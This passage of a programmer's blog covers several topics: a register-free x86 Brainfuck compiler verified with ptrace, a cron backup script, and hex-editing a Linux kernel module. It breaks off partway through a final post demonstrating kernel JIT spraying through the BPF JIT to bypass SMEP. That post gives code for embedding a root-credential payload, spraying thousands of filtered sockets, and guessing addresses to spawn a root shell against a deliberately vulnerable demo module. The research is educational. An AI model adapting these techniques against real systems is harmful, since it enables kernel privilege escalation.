sub dword [dec_cell+4], 8
sub dword [test_cell+3], 8
jmp [cont_zero]</code></pre>
<p>Recall that <code>head</code> is an assembler constant for the middle of the tape. So <code>inc_cell</code> etc. will only touch the exact middle of the tape — except that we modify the instructions when we move left or right. The address operand starts at byte 3 or 4 of the instruction (check the disassembly!) and we change it by 8, the size of a function pointer.</p>
<p>Also note that <code>inc_cell</code> and <code>dec_cell</code> jump to <code>test_cell</code> in order to handle overflow / underflow. By contrast the move instructions don't test the current cell and just jump to <code>[cont_zero]</code> unconditionally.</p>
<p>To output a byte we <a href="https://github.com/kmcallister/rip/blob/4595341f8635c184f620a01a944a84c700e3641d/rip.asm#L7-L14">perform</a> the system call <a href="http://man7.org/linux/man-pages/man2/write.2.html"><code>write</code></a><code>(1, &out_byte, 1)</code>. There's no escaping the fact that the <a href="http://stackoverflow.com/questions/2535989/what-are-the-calling-conventions-for-unix-linux-system-calls-on-x86-64">Linux system call ABI</a> uses registers, so I allow them here. We can do arbitrary computation without output; it's just nice if we can see the results. Input is <a href="https://github.com/kmcallister/rip/blob/4595341f8635c184f620a01a944a84c700e3641d/rip.asm#L73-L88">messier still</a> but it's not fundamentally different from what we've seen here. Code that self-modifies by calling <a href="http://man7.org/linux/man-pages/man2/read.2.html"><code>read</code></a><code>()</code> is clearly the future of computing.</p>
<p>Putting it all together, I wrote a small <a href="https://github.com/kmcallister/rip/blob/4595341f8635c184f620a01a944a84c700e3641d/compiler">Brainfuck compiler</a> which does little more than match brackets. For each Brainfuck instruction it outputs one line of assembly, a call to a <a href="https://github.com/kmcallister/rip/blob/4595341f8635c184f620a01a944a84c700e3641d/rip.asm#L91-L135">NASM macro</a> which will load <code>cont_[non]zero</code> and jump to one of <code>test_cell</code>, <code>inc_cell</code>, etc. For the program <code>[+]</code> the compiler's output looks like</p>
<pre><code>k00000000: do_branch k00000003, k00000001
k00000001: do_inc k00000002
k00000002: do_branch k00000003, k00000001
k00000003: jmp exit</code></pre>
<p>which blows up into something like</p>
<pre><code>401205: 48c70425611240005c124000 mov qword ptr [0x401261], 0x40125c
401211: 48c704256912400022124000 mov qword ptr [0x401269], 0x401222
40121d: e90cefffff jmp 40012e <test_cell>
401222: 48c70425611240003f124000 mov qword ptr [0x401261], 0x40123f
40122e: 48c70425691240003f124000 mov qword ptr [0x401269], 0x40123f
40123a: e9f6eeffff jmp 400135 <inc_cell>
40123f: 48c70425611240005c124000 mov qword ptr [0x401261], 0x40125c
40124b: 48c704256912400022124000 mov qword ptr [0x401269], 0x401222
401257: e9d2eeffffe9d2eeffff jmp 40012e <test_cell>
40125c: e9c1eeffff jmp 400122 <exit></code></pre>
<p>Even within our constraints, this code could be a lot more compact. For example, a <code>test</code> could be merged with a preceding <code>inc</code> or <code>dec</code>.</p>
<h1 id="demos">Demos</h1>
<p>Let's try it out on some of Daniel B Cristofani's <a href="http://www.hevanet.com/cristofd/brainfuck/">Brainfuck examples</a>.</p>
<pre><code>$ curl -s http://www.hevanet.com/cristofd/brainfuck/rot13.b | ./compiler
$ echo 'Uryyb, jbeyq!' | ./rip
Hello, world!
$ curl -s http://www.hevanet.com/cristofd/brainfuck/fib.b | ./compiler
$ ./rip
0
1
1
2
3
5
8
13
…</code></pre>
<p>And now let's try a Brainfuck interpreter written in Brainfuck. There are <a href="http://esolangs.org/wiki/Brainfuck#Self-interpreters">several</a>, but we will choose the <a href="http://homepages.xnet.co.nz/~clive/eigenratios/cgbfi2.b">fastest one</a> (by Clive Gifford), which is also compatible with our handling of end-of-file and cell overflow.</p>
<pre><code>$ curl -s http://homepages.xnet.co.nz/~clive/eigenratios/cgbfi2.b | ./compiler
$ (curl -s http://www.hevanet.com/cristofd/brainfuck/rot13.b;
echo '!Uryyb, jbeyq!') | ./rip
Hello, world!</code></pre>
<p>This takes about 4.5 seconds on my machine.</p>
<h1 id="verifying-it-with-ptrace">Verifying it with <code>ptrace</code></h1>
<p>How can we verify that a program doesn't use registers? There's no CPU flag to disable registers, but setting them to zero after each instruction is close enough. Linux's <a href="http://man7.org/linux/man-pages/man2/ptrace.2.html"><code>ptrace</code></a> system call allows us to manipulate the state of a target process.</p>
<pre class="sourceCode c"><code class="sourceCode c"><span class="dt">uint64_t</span> regs_boundary;
<span class="dt">void</span> clobber_regs(pid_t child) {
<span class="kw">struct</span> user_regs_struct regs_int;
<span class="kw">struct</span> user_fpregs_struct regs_fp;
CHECK(ptrace(PTRACE_GETREGS, child, <span class="dv">0</span>, &regs_int));
<span class="kw">if</span> (regs_int.rip < regs_boundary)
<span class="kw">return</span>;
CHECK(ptrace(PTRACE_GETFPREGS, child, <span class="dv">0</span>, &regs_fp));
<span class="co">// Clear everything before the instruction pointer,</span>
<span class="co">// plus the stack pointer and some bits of EFLAGS.</span>
memset(&regs_int, <span class="dv">0</span>, offsetof(<span class="kw">struct</span> user_regs_struct, rip));
regs_int.rsp = <span class="dv">0</span>;
regs_int.eflags &= EFLAGS_MASK;
<span class="co">// Clear x87 and SSE registers.</span>
memset(regs_fp.st_space, <span class="dv">0</span>, <span class="kw">sizeof</span>(regs_fp.st_space));
memset(regs_fp.xmm_space, <span class="dv">0</span>, <span class="kw">sizeof</span>(regs_fp.xmm_space));
CHECK(ptrace(PTRACE_SETREGS, child, <span class="dv">0</span>, &regs_int));
CHECK(ptrace(PTRACE_SETFPREGS, child, <span class="dv">0</span>, &regs_fp));
clobber_count++;
}</code></pre>
<p>For the layout of <code>struct user_regs_struct</code>, see <a href="https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/unix/sysv/linux/x86/sys/user.h;h=02d3db78891a409c79571343cd732a9cdcdc868a;hb=eefa3be8e4c2c721a9f277d8ea2e11180231829f#l42"><code>/usr/include/sys/user.h</code></a>.</p>
<p>We allow registers in the first part of the program, which is responsible for system calls. <code>regs_boundary</code> is set by <a href="https://github.com/kmcallister/rip/blob/4595341f8635c184f620a01a944a84c700e3641d/regclobber.c#L42-L58">looking</a> for the symbol <code>FORBID_REGS</code> in the binary.</p>
<p>We run the target using <code>PTRACE_SINGLESTEP</code>, which sets the <a href="http://en.wikipedia.org/wiki/Trap_flag">trap flag</a> so that the CPU will raise a <a href="http://wiki.osdev.org/Exceptions#Debug">debug exception</a> after one instruction. Linux handles this exception, suspends the traced process, and wakes up the tracer, which was blocked on <a href="http://man7.org/linux/man-pages/man2/waitpid.2.html"><code>waitpid</code></a>.</p>
<pre class="sourceCode c"><code class="sourceCode c"><span class="kw">while</span> (<span class="dv">1</span>) {
<span class="co">// For this demo it's simpler if we don't deliver signals to</span>
<span class="co">// the child, so the last argument to ptrace() is zero.</span>
CHECK(ptrace(PTRACE_SINGLESTEP, child, <span class="dv">0</span>, <span class="dv">0</span>));
CHECK(waitpid(child, &status, <span class="dv">0</span>));
<span class="kw">if</span> (WIFEXITED(status))
finish(WEXITSTATUS(status));
inst_count++;
clobber_regs(child);
}</code></pre>
<p>And the demo:</p>
<pre><code>$ gcc -O2 -Wall -o regclobber regclobber.c
$ curl -s http://www.hevanet.com/cristofd/brainfuck/rot13.b | ./compiler
$ echo 'Uryyb, jbeyq!' | time ./regclobber ./rip
Hello, world!
Executed 81366 instructions; clobbered registers 81189 times.
0.36user 1.81system 0:01.96elapsed 110%CPU (0avgtext+0avgdata 1392maxresident)k</code></pre>
<p>At almost two seconds elapsed, this is hundreds of times slower than running <code>./rip</code> directly. Most of the time is spent in the kernel, handling all those system calls and debug exceptions.</p>
<p>I <a href="http://mainisusuallyafunction.blogspot.com/2011/01/implementing-breakpoints-on-x86-linux.html">wrote about <code>ptrace</code> before</a> if you'd like to see more of the things it can do.</p>
<h1 id="notes-on-universality">Notes on universality</h1>
<p>Our tape has a fixed size of 30,000 cells, the same as Urban Müller's original Brainfuck compiler. A system with a finite amount of state can't really be Turing-complete. But x86 itself also has a limit on addressable memory. So does C, because <span style="white-space:nowrap;"><code>sizeof(void *)</code></span> is finite. These systems <em>are</em> Turing-complete when you add an external tape using I/O, but so is a <a href="http://en.wikipedia.org/wiki/Finite-state_machine">finite-state machine</a>!</p>
<p>So while x86 isn't really Turing-complete, with or without registers, I think the above construction "feels like" arbitrary computation enough to meet the informal definition of "Turing-complete" commonly used by programmers, for example in the <a href="http://www.cl.cam.ac.uk/~sd601/papers/mov.pdf"><em><code>mov</code> is Turing-complete</em></a> paper. If you know of a way to formalize this idea, do let me know (I'm more likely to notice tweets <a href="https://twitter.com/miuaf"><code>@miuaf</code></a> than comments here).</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com685tag:blogger.com,1999:blog-1563623855220143059.post-72036355193355592712012-12-30T20:36:00.000-08:002012-12-30T20:36:43.751-08:00A shell recipe for backups with logs and history<p>I wrote a shell script for a <a href="http://en.wikipedia.org/wiki/Cron">cron</a> job that grabs backups of some remote files. It has a few nice features:</p>
<ul class="incremental">
<li>Output from the backup commands is logged, with timestamps.</li>
<li><code>cron</code> will send me email if one of the commands fails.</li>
<li>The history of each backup is saved in Git. Nothing sucks more than corrupting an important file and then syncing that corruption to your one and only backup.</li>
</ul>
<p>Here's how it works.</p>
<pre class="sourceCode bash"><code class="sourceCode bash"><span class="co">#!/bin/bash -e</span>
<span class="kw">cd</span> /home/keegan/backups
<span class="ot">log=</span><span class="st">"</span><span class="ot">$(</span><span class="kw">pwd</span><span class="ot">)</span><span class="st">"</span>/log
<span class="kw">exec</span> <span class="kw">3>&2</span> <span class="kw">></span> <span class="kw">>(</span>ts <span class="kw">>></span> <span class="st">"</span><span class="ot">$log</span><span class="st">"</span><span class="kw">)</span> <span class="kw">2>&1</span></code></pre>
<p>You may have seen <code>exec</code> used to <a href="http://en.wikipedia.org/wiki/Tail_call">tail-call</a> a command, but here we use it differently. When no command is given, <code>exec</code> <a href="http://tldp.org/LDP/abs/html/x17891.html">applies</a> file redirections to the current shell process.</p>
<p>We apply timestamps by redirecting output through <code>ts</code> (from <a href="http://joeyh.name/code/moreutils/">moreutils</a>), and append that to the log file. I would write <span class="nowrap"><code>exec | ts >> $log</code></span>, except that pipe syntax is not supported with <code>exec</code>.</p>
<p>Instead we use <a href="http://tldp.org/LDP/abs/html/process-sub.html">process substitution</a>. <code>>(cmd)</code> expands to the name of a file, whose contents will be sent to the specified command. This file name is a fine target for normal file output redirection with <code>></code>. (It might name a temporary file created by the shell, or a special file under <code>/dev/fd/</code>.)</p>
<p>We also redirect standard error to the same place with <code>2>&1</code>. But first we open the original standard error as file descriptor 3, using <code>3>&2</code>.</p>
<pre class="sourceCode bash"><code class="sourceCode bash"><span class="kw">function</span><span class="fu"> handle_error</span> <span class="kw">{</span>
<span class="kw">echo</span> <span class="st">'Error occurred while running backup'</span> <span class="kw">>&3</span>
<span class="kw">tail</span> <span class="st">"</span><span class="ot">$log</span><span class="st">"</span> <span class="kw">>&3</span>
<span class="kw">exit</span> 1
<span class="kw">}</span>
<span class="kw">trap</span> handle_error ERR</code></pre>
<p>Since we specified <code>bash -e</code> in the first line of the script, Bash will exit as soon as any command fails. We use <code>trap</code> to register a function that gets called if this happens. The function writes some of the log file to the script's original standard output. <code>cron</code> will capture that and send mail to the system administrator.</p>
<p>Now we come to the actual backup commands.</p>
<pre class="sourceCode bash"><code class="sourceCode bash"><span class="kw">cd</span> foo
git pull
<span class="kw">cd</span> ../bar
rsync -v otherhost:bar/baz .
git commit --allow-empty -a -m <span class="st">'[AUTO] backup'</span>
git repack -da</code></pre>
<p><code>foo</code> is a backup of a Git repo, so we just update a clone of that repo. If you want to be absolutely sure to preserve all commits, you can configure the backup repo to <a href="http://www.kernel.org/pub/software/scm/git/docs/git-gc.html">disable automatic garbage collection</a> and <a href="http://stackoverflow.com/questions/199728/setting-gc-reflogexpire">keep infinite reflog</a>.</p>
<p><code>bar</code> is a local-only Git repo storing history of a file synced from another machine. Semantically, Git stores each version of a file as a separate <a href="http://git-scm.com/book/en/Git-Internals-Git-Objects">blob</a> object. If the files you're backing up are reasonably large, this can waste a lot of space quickly. But Git supports "packed" storage, where the objects in a repo are compressed together. By <a href="http://www.kernel.org/pub/software/scm/git/docs/git-repack.html">repacking</a> the repo after every commit, we can save a ton of space.</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com63tag:blogger.com,1999:blog-1563623855220143059.post-30377582864657990412012-12-17T23:18:00.000-08:002012-12-17T23:18:00.065-08:00Hex-editing Linux kernel modules to support new hardware
<p>This is <a href="http://sourceforge.net/apps/mediawiki/mbm/index.php?title=Hex-editing_cdc_ether">an old trick</a> but a fun one. The <a href="http://en.wikipedia.org/wiki/ThinkPad_X1_Carbon">ThinkPad X1 Carbon</a> has no built-in Ethernet port. Instead it comes with a USB to Ethernet adapter. The adapter uses the <a href="http://www.asix.com.tw/products.php?op=pItemdetail&PItemID=86;71;101">ASIX AX88772</a> chip, which Linux has supported since <a href="https://github.com/torvalds/linux/commit/1da177e4c3f41524e886b7f1b8a0c1fc7321cac2">time immemorial</a>. But support for the particular adapter shipped by Lenovo was only added in Linux 3.7.</p>
<p>This was a problem for me, since I wanted to use a Debian installer with a 3.2 kernel. I could set up a build environment for that particular kernel and recompile the module. But this seemed like an annoying yak to shave when I just wanted to get the machine working.</p>
<p><a href="https://github.com/torvalds/linux/commit/66dc81ecd71332783c92fb170950d5ddb43da461">The patch</a> to support the Lenovo adapter just adds a new USB device ID to an existing driver:</p>
<pre><code> }, {
<span style="color: green; font-weight: bold;">+ // Lenovo U2L100P 10/100
+ USB_DEVICE (0x17ef, 0x7203),
+ .driver_info = (unsigned long) &ax88772_info,
+}, {</span>
// ASIX AX88772B 10/100
USB_DEVICE (0x0b95, 0x772b),
.driver_info = (unsigned long) &ax88772_info,</code></pre>
<p>As a quick-and-dirty solution, we can edit the compiled kernel module <code>asix.ko</code>, changing that existing device ID <code>(0x0b95, 0x772b)</code> to the Lenovo one <code>(0x17ef, 0x7203)</code>. Since x86 CPUs are <a href="http://en.wikipedia.org/wiki/Endianness">little-endian</a>, this involves changing the bytes</p>
<pre><code>95 0b 2b 77</code></pre>
<p>to</p>
<pre><code>ef 17 03 72</code></pre>
<p>I wanted to do this within the Debian installer without rebooting. <a href="http://www.busybox.net/">Busybox</a> <code>sed</code> does not support hex escapes, but <code>printf</code> does:</p>
<pre><code>sed $(printf 's/\x95\x0b\x2b\x77/\xef\x17\x03\x72/') \
/lib/modules/$(uname -r)/kernel/drivers/net/usb/asix.ko \
> /tmp/asix.ko</code></pre>
<p>(It's worth checking that none of those bytes have untoward meanings as ASCII characters in a regular expression. As it happens, <code>sed</code> does not recognize <code>+</code> (aka <code>\x2b</code>) as repetition unless preceded by a backslash.)</p>
<p>Then I loaded the patched module along with its dependencies. A simple way is</p>
<pre><code>modprobe asix
rmmod asix
insmod /tmp/asix.ko</code></pre>
<p>And that was enough for me to complete the install over Ethernet. Of course, once everything is set up, it would be better to compile a properly-patched kernel using <a href="http://www.debian.org/releases/wheezy/amd64/ch08s06.html.en"><code>make-kpkg</code></a>. I haven't got around to it yet because wireless is working great. :)</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com86tag:blogger.com,1999:blog-1563623855220143059.post-71703971455692653682012-11-17T21:51:00.000-08:002012-11-17T21:51:41.191-08:00Attacking hardened Linux systems with kernel JIT spraying
<p>Intel's new Ivy Bridge CPUs support a security feature called <a href="http://www.anandtech.com/show/4830/intels-ivy-bridge-architecture-exposed/2">Supervisor Mode Execution Protection</a> (SMEP). It's supposed to thwart privilege escalation attacks, by preventing the kernel from executing a payload provided by userspace. In reality, there are <a href="http://vulnfactory.org/blog/2011/06/05/smep-what-is-it-and-how-to-beat-it-on-linux/">many ways</a> to bypass SMEP.</p>
<p>This article demonstrates one particularly fun approach. Since the Linux kernel <a href="https://lwn.net/Articles/437981">implements</a> a just-in-time compiler for Berkeley Packet Filter programs, we can use a JIT spraying attack to build our attack payload within the kernel's memory. Along the way, we will use another fun trick to create thousands of sockets even if <code>RLIMIT_NOFILE</code> is set as low as 11.</p>
<p>If you have some idea what I'm talking about, feel free to skip the next few sections and get to the gritty details. Otherwise, I hope to provide enough background that anyone with some systems programming experience can follow along. The code is <a href="https://github.com/kmcallister/alameda">available on GitHub</a> too.</p>
<p>Note to script kiddies: This code won't get you root on any real system. It's not an exploit against current Linux; it's a demonstration of how such an exploit could be modified to bypass SMEP protections.</p>
<h1 id="kernel-exploitation-and-smep">Kernel exploitation and SMEP</h1>
<p>The basis of kernel security is the CPU's distinction between user and kernel mode. Code running in user mode cannot manipulate kernel memory. This allows the kernel to store things (like the user ID of the current process) without fear of tampering by userspace code.</p>
<p>In a typical kernel exploit, we trick the kernel into jumping to our payload code while the CPU is still in kernel mode. Then we can mess with kernel data structures and gain privileges. The payload can be an ordinary function in the exploit program's memory. After all, the CPU in kernel mode is allowed to execute user memory: it's allowed to do anything!</p>
<p>But what if it wasn't? When SMEP is enabled, the CPU will block any attempt to execute user memory while in kernel mode. (Of course, the kernel still has ultimate authority and can disable SMEP if it wants to. The goal is to prevent <em>unintended</em> execution of userspace code, as in a kernel exploit.)</p>
<p>So even if we find a bug which lets us hijack kernel control flow, we can only direct it towards legitimate kernel code. This is a lot like exploiting a userspace program with <a href="http://en.wikipedia.org/wiki/NX_bit">no-execute</a> data, and the same techniques apply.</p>
<p>If you haven't seen some kernel exploits before, you might want to check out the <a href="http://mainisusuallyafunction.blogspot.com/2012/01/writing-kernel-exploits.html">talk</a> I gave, or the many references linked from those slides.</p>
<h1 id="jit-spraying">JIT spraying</h1>
<p><a href="http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf">JIT spraying</a> [PDF] is a viable tactic when we (the attacker) control the input to a <a href="http://en.wikipedia.org/wiki/Just-in-time_compilation">just-in-time compiler</a>. The JIT will write into executable memory on our behalf, and we have some control over what it writes.</p>
<p>Of course, a JIT compiling untrusted code will be careful with what instructions it produces. The trick of JIT spraying is that seemingly innocuous instructions can be trouble when looked at another way. Suppose we input this (pseudocode) program to a JIT:</p>
<pre><code>x = 0xa8XXYYZZ
x = 0xa8PPQQRR
x = ...</code></pre>
<p>(Here <code>XXYYZZ</code> and <code>PPQQRR</code> stand for arbitrary three-byte quantities.) The JIT might decide to put variable <code>x</code> in the <code>%eax</code> machine register, and produce x86 code like this:</p>
<pre><code>machine code assembly (AT&T syntax)
b8 ZZ YY XX a8 mov $0xa8XXYYZZ, %eax
b8 RR QQ PP a8 mov $0xa8PPQQRR, %eax
b8 ...</code></pre>
<p>Looks harmless enough. But suppose we use a vulnerability elsewhere to direct control flow to the second byte of this program. The processor will then see an instruction stream like</p>
<pre><code>ZZ YY XX (payload instruction)
a8 b8 test $0xb8, %al
RR QQ PP (payload instruction)
a8 b8 test $0xb8, %al
...</code></pre>
<p>We control those bytes <code>ZZ YY XX</code> and <code>RR QQ PP</code>. So we can smuggle any sequence of three-byte x86 instructions into an executable memory page. The classic scenario is browser exploitation: we embed our payload into a JavaScript or Flash program as above, and then exploit a browser bug to redirect control into the JIT-compiled code. But it works equally well against kernels, as we shall see.</p>
<h1 id="attacking-the-bpf-jit">Attacking the BPF JIT</h1>
<p>Berkeley Packet Filters (BPF) allow a userspace program to specify which network traffic it wants to receive. Filters are <a href="http://www.freebsd.org/cgi/man.cgi?query=bpf&apropos=0&sektion=0&manpath=FreeBSD+8-current&format=html#FILTER_MACHINE">virtual machine</a> programs which run in kernel mode. This is done for efficiency; it avoids a system call round-trip for each rejected packet. Since version 3.0, Linux on AMD64 optionally <a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=0a14842f5a3c0e88a1e59fac5c3025db39721f74">implements</a> the BPF virtual machine using a just-in-time compiler.</p>
<p>For our JIT spray attack, we will build a BPF program in memory.</p>
<pre class="sourceCode c"><code class="sourceCode c">size_t code_len = <span class="dv">0</span>;
<span class="kw">struct</span> sock_filter code[<span class="dv">1024</span>];
<span class="dt">void</span> emit_bpf(<span class="dt">uint16_t</span> opcode, <span class="dt">uint32_t</span> operand) {
code[code_len++] = (<span class="kw">struct</span> sock_filter) BPF_STMT(opcode, operand);
}</code></pre>
<p>A BPF "load immediate" instruction will compile to <span style="white-space:
nowrap;"><code>mov $x, %eax</code></span>. We embed our payload instructions inside these, exactly as we saw above.</p>
<pre class="sourceCode c"><code class="sourceCode c"><span class="co">// Embed a three-byte x86 instruction.</span>
<span class="dt">void</span> emit3(<span class="dt">uint8_t</span> x, <span class="dt">uint8_t</span> y, <span class="dt">uint8_t</span> z) {
<span class="kw">union</span> {
<span class="dt">uint8_t</span> buf[<span class="dv">4</span>];
<span class="dt">uint32_t</span> imm;
} operand = {
.buf = { x, y, z, <span class="bn">0xa8</span> }
};
emit_bpf(BPF_LD+BPF_IMM, operand.imm);
}
<span class="co">// Pad shorter instructions with nops.</span>
<span class="ot">#define emit2(_x, _y) emit3((_x), (_y), 0x90)</span>
<span class="ot">#define emit1(_x) emit3((_x), 0x90, 0x90)</span></code></pre>
<p>Remember, the byte <code>a8</code> eats the opcode <code>b8</code> from the following legitimate <code>mov</code> instruction, turning into the harmless instruction <span
style="white-space: nowrap;"><code>test $0xb8, %al</code></span>.</p>
<p>Calling a kernel function is a slight challenge because we can only use three-byte instructions. We load the function's address one byte at a time, and sign-extend from 32 bits.</p>
<pre class="sourceCode c"><code class="sourceCode c"><span class="dt">void</span> emit_call(<span class="dt">uint32_t</span> addr) {
emit2(<span class="bn">0xb4</span>, (addr & <span class="bn">0xff000000</span>) >> <span class="dv">24</span>); <span class="co">// mov $x, %ah</span>
emit2(<span class="bn">0xb0</span>, (addr & <span class="bn">0x00ff0000</span>) >> <span class="dv">16</span>); <span class="co">// mov $x, %al</span>
emit3(<span class="bn">0xc1</span>, <span class="bn">0xe0</span>, <span class="bn">0x10</span>); <span class="co">// shl $16, %eax</span>
emit2(<span class="bn">0xb4</span>, (addr & <span class="bn">0x0000ff00</span>) >> <span class="dv">8</span>); <span class="co">// mov $x, %ah</span>
emit2(<span class="bn">0xb0</span>, (addr & <span class="bn">0x000000ff</span>)); <span class="co">// mov $x, %al</span>
emit2(<span class="bn">0x48</span>, <span class="bn">0x98</span>); <span class="co">// cltq</span>
emit2(<span class="bn">0xff</span>, <span class="bn">0xd0</span>); <span class="co">// call *%rax</span>
}</code></pre>
<p>Then we can build a classic "get root" payload like so:</p>
<pre class="sourceCode c"><code class="sourceCode c">emit3(<span class="bn">0x48</span>, <span class="bn">0x31</span>, <span class="bn">0xff</span>); <span class="co">// xor %rdi, %rdi</span>
emit_call(get_kernel_symbol(<span class="st">"prepare_kernel_cred"</span>));
emit3(<span class="bn">0x48</span>, <span class="bn">0x89</span>, <span class="bn">0xc7</span>); <span class="co">// mov %rax, %rdi</span>
emit_call(get_kernel_symbol(<span class="st">"commit_creds"</span>));
emit1(<span class="bn">0xc3</span>); <span class="co">// ret</span></code></pre>
<p>This is just the C call</p>
<pre class="sourceCode c"><code class="sourceCode c">commit_creds(prepare_kernel_cred(<span class="dv">0</span>));</code></pre>
<p>expressed in our strange dialect of machine code. It will give root privileges to the process the kernel is currently acting on behalf of, i.e., our exploit program.</p>
<p>Looking up function addresses is a well-studied part of kernel exploitation. My <code>get_kernel_symbol</code> just greps through <code>/proc/kallsyms</code>, which is a simplistic solution for demonstration purposes. In a real-world exploit you would search a number of sources, including hard-coded values for the precompiled kernels put out by major distributions.</p>
<p>Alternatively the JIT spray payload could just disable SMEP, then jump to a traditional payload in userspace memory. We don't need any kernel functions to disable SMEP; we just poke a CPU control register. Once we get to the traditional payload, we're running normal C code in kernel mode, and we have the flexibility to search memory for any functions or data we might need.</p>
<h1 id="filling-memory-with-sockets">Filling memory with sockets</h1>
<p>The "spray" part of JIT spraying involves creating many copies of the payload in memory, and then making an informed guess of the address of one of them. In Dion Blazakis's original paper, this is done using a separate information leak in the Flash plugin.</p>
<p>For this kernel exploit, it turns out that we don't need any information leak. The BPF JIT <a href="http://lxr.linux.no/linux+v3.6.5/arch/x86/net/bpf_jit_comp.c#L627">uses <code>module_alloc</code></a> to allocate memory in the <a href="http://lxr.linux.no/linux+v3.6.5/Documentation/x86/x86_64/mm.txt">1.5 GB space</a> reserved for kernel modules. And the compiled program is aligned to a <a href="http://en.wikipedia.org/wiki/Page_(computer_memory)">page</a>, i.e., a multiple of 4 kB. So we have fewer than 19 bits of address to guess. If we can get 8000 copies of our program into memory, we have a 1 in 50 chance on each guess, which is not too bad.</p>
<p>Each socket can only have one packet filter attached, so we need to create a bunch of sockets. This means we could run into the <a href="http://www.kernel.org/doc/man-pages/online/pages/man2/setrlimit.2.html">resource limit</a> on the number of open files. But there's a fun way around this limitation. (I learned this trick from <a href="http://blog.nelhage.com/">Nelson Elhage</a> but I haven't seen it published before.)</p>
<p><a href="http://en.wikipedia.org/wiki/Unix_domain_socket">UNIX domain sockets</a> can transmit things other than raw bytes. In particular, they can <a href="http://www.lst.de/~okir/blackhats/node121.html">transmit</a> file descriptors<sup><a href="#bpf_spray_fn1" class="footnoteRef" id="bpf_spray_fnref1">1</a></sup>. An FD sitting in a UNIX socket buffer might have already been closed by the sender. But it could be read back out in the future, so the kernel has to maintain all data structures relating to the FD — including BPF programs!</p>
<p>So we can make as many BPF-filtered sockets as we want, as long as we send them into <em>other</em> sockets and close them as we go. There are limits on the number of FDs enqueued on a socket, as well as the depth<sup><a href="#bpf_spray_fn2" class="footnoteRef" id="bpf_spray_fnref2">2</a></sup> of sockets sent through sockets sent through etc. But we can easily hit our goal of 8000 filter programs using a tree structure.</p>
<pre class="sourceCode c"><code class="sourceCode c"><span class="ot">#define SOCKET_FANOUT 20</span>
<span class="ot">#define SOCKET_DEPTH 3</span>
<span class="co">// Create a socket with our BPF program attached.</span>
<span class="dt">int</span> create_filtered_socket() {
<span class="dt">int</span> fd = socket(AF_INET, SOCK_DGRAM, <span class="dv">0</span>);
setsockopt(fd, SOL_SOCKET, SO_ATTACH_FILTER, &filt, <span class="kw">sizeof</span>(filt));
<span class="kw">return</span> fd;
}
<span class="co">// Send an fd through a UNIX socket.</span>
<span class="dt">void</span> send_fd(<span class="dt">int</span> dest, <span class="dt">int</span> fd_to_send);
<span class="co">// Create a whole bunch of filtered sockets.</span>
<span class="dt">void</span> create_socket_tree(<span class="dt">int</span> parent, size_t depth) {
<span class="dt">int</span> fds[<span class="dv">2</span>];
size_t i;
<span class="kw">for</span> (i=<span class="dv">0</span>; i<SOCKET_FANOUT; i++) {
<span class="kw">if</span> (depth == (SOCKET_DEPTH - <span class="dv">1</span>)) {
<span class="co">// Leaf of the tree.</span>
<span class="co">// Create a filtered socket and send it to 'parent'.</span>
fds[<span class="dv">0</span>] = create_filtered_socket();
send_fd(parent, fds[<span class="dv">0</span>]);
close(fds[<span class="dv">0</span>]);
} <span class="kw">else</span> {
<span class="co">// Interior node of the tree.</span>
<span class="co">// Send a subtree into a UNIX socket pair.</span>
socketpair(AF_UNIX, SOCK_DGRAM, <span class="dv">0</span>, fds);
create_socket_tree(fds[<span class="dv">0</span>], depth<span class="dv">+1</span>);
<span class="co">// Send the pair to 'parent' and close it.</span>
send_fd(parent, fds[<span class="dv">0</span>]);
send_fd(parent, fds[<span class="dv">1</span>]);
close(fds[<span class="dv">0</span>]);
close(fds[<span class="dv">1</span>]);
}
}
}</code></pre>
<p>The <a href="http://www.kernel.org/doc/man-pages/online/pages/man3/cmsg.3.html">interface</a> for sending FDs through a UNIX socket is really, <em>really</em> ugly, so I didn't show that code here. You can check out the <a href="https://github.com/kmcallister/alameda/blob/master/alameda.c#L388">implementation of <code>send_fd</code></a> if you want to.</p>
<h1 id="the-exploit">The exploit</h1>
<p>Since this whole article is about a strategy for exploiting kernel bugs, we need some kernel bug to exploit. For demonstration purposes I'll load an obviously insecure <a href="https://github.com/kmcallister/alameda/blob/master/ko/jump.c">kernel module</a> which will jump to any address we write to <code>/proc/jump</code>.</p>
<p>We know that a JIT-produced code page is somewhere in the <a href="http://lxr.linux.no/linux+v3.6.5/Documentation/x86/x86_64/mm.txt">region</a> used for kernel modules. We want to land 3 bytes into this page, skipping an <span
style="white-space: nowrap"><code>xor %eax, %eax</code></span> (<code>31 c0</code>) and the initial <code>b8</code> opcode.</p>
<pre class="sourceCode c"><code class="sourceCode c"><span class="ot">#define MODULE_START 0xffffffffa0000000UL</span>
<span class="ot">#define MODULE_END 0xfffffffffff00000UL</span>
<span class="ot">#define MODULE_PAGES ((MODULE_END - MODULE_START) / 0x1000)</span>
<span class="ot">#define PAYLOAD_OFFSET 3</span></code></pre>
<p>A bad guess will likely oops the kernel and kill the current process. So we <a href="http://www.kernel.org/doc/man-pages/online/pages/man2/fork.2.html">fork</a> off child processes to do the guessing, and keep doing this as long as they're dying with <code>SIGKILL</code>.</p>
<pre class="sourceCode c"><code class="sourceCode c"><span class="dt">int</span> status, jump_fd, urandom;
<span class="dt">unsigned</span> <span class="dt">int</span> pgnum;
<span class="dt">uint64_t</span> payload_addr;
<span class="co">// ...</span>
jump_fd = open(<span class="st">"/proc/jump"</span>, O_WRONLY);
urandom = open(<span class="st">"/dev/urandom"</span>, O_RDONLY);
<span class="kw">do</span> {
<span class="kw">if</span> (!fork()) {
<span class="co">// Child process</span>
read(urandom, &pgnum, <span class="kw">sizeof</span>(pgnum));
pgnum %= MODULE_PAGES;
payload_addr = MODULE_START + (<span class="bn">0x1000</span> * pgnum) + PAYLOAD_OFFSET;
write(jump_fd, &payload_addr, <span class="kw">sizeof</span>(payload_addr));
execl(<span class="st">"/bin/sh"</span>, <span class="st">"sh"</span>, NULL); <span class="co">// Root shell!</span>
} <span class="kw">else</span> {
wait(&status);
}
} <span class="kw">while</span> (WIFSIGNALED(status) && (WTERMSIG(status) == SIGKILL));</code></pre>
